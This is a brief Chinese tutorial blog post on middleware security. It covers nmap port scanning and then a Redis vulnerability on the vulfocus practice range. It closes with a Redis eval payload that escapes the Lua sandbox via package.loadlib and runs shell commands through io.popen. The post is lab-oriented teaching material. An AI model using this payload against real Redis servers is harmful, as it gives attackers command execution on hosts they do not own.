当前位置: 首页 > article >正文

中间件安全(一)

本文仅作为学习参考使用,本文作者对任何使用本文进行渗透攻击破坏不负任何责任。

一,中间件。

1,什么是中间件。

是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。中间件是一类软件统称,而非一种软件;中间件不仅仅实现互连,还要实现应用之间的互操作。

具体请参考:通俗易懂的讲讲什么是中间件?

2,中间件作用。

判断服务是否开放,一般各种服务都有其对应的端口,如果对应的端口不存在,则说明此服务没有开启,也就没有后续测试的必要了。

3,如何判断端口是否开放。

可以使用nmap等工具,通过探测开放的端口以判断服务是否开放。一般情况下都是开放默认端口,例如3306端口对应的就是mysql服务,但不排除开发者更改端口来进行防御。

nmap只能通过Ip进行扫描端口,首先要把网址所对应的ip查出来。

本机(物理机)上所开放的端口如上,ip为http://192.168.131.206/。

为了减少扫描时间,此处使用-p标签,指定扫描从8000到8100范围的端口。

可以看到,所开放的端口。

二,靶场。

靶场这里使用的是vulfocus,直接注册就可以使用。

本文主要讲解vulfocus靶场的redis漏洞。

redis数据库默认端口为:6379;redis简述。

工具链接,搭建教程

连接成功。

查看flag

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0


http://www.kler.cn/a/306609.html

相关文章:

  • 容器技术在DevOps中的应用
  • quartz
  • 【OH】openHarmony开发环境搭建(基于windows子系统WSL)
  • 微服务(二)
  • SpringCloud学习笔记
  • 大语言模型:解锁自然语言处理的无限可能
  • 基于Selenium的新闻爬取技术实操
  • 【AIGC cosplay】让大模型扮演求职者,我当hr来面试
  • 语言哲学(Philosophy of Language)
  • PMP--一模--解题--81-90
  • Python 常用模块(二):json模块
  • 拒绝低效!开发者必备AI工具助你事半功倍!
  • WPF利用Path自定义画头部导航条(TOP)样式
  • C# 网口通信(通过Sockets类)
  • Vue 生命周期与 TypeScript:深入理解组件生命周期
  • 5-【JavaWeb】JUnit 单元测试及JUL 日志系统
  • uniapp使用高德地图设置marker标记点,后续根据接口数据改变某个marker标记点,动态更新
  • CentOS 7上安装Docker
  • 电商数据采集分析全流程分享||电商API数据接口
  • wsl2桥接网络 ubuntu到弃坑到又跳坑
  • Flutter Spacer引发的The ParentDataWidget Expanded(flex: 1) 惨案
  • Spring Boot 注解探秘:JSON 处理的魔法世界
  • JAVA基础:线程优先级和精灵线程
  • 股指期货的详细玩法功能与应用解析
  • 详解 Pandas 的累计统计函数
  • Java后端开发(十七)-- Java中对Object、Collection集合、Map集合、数组进行判空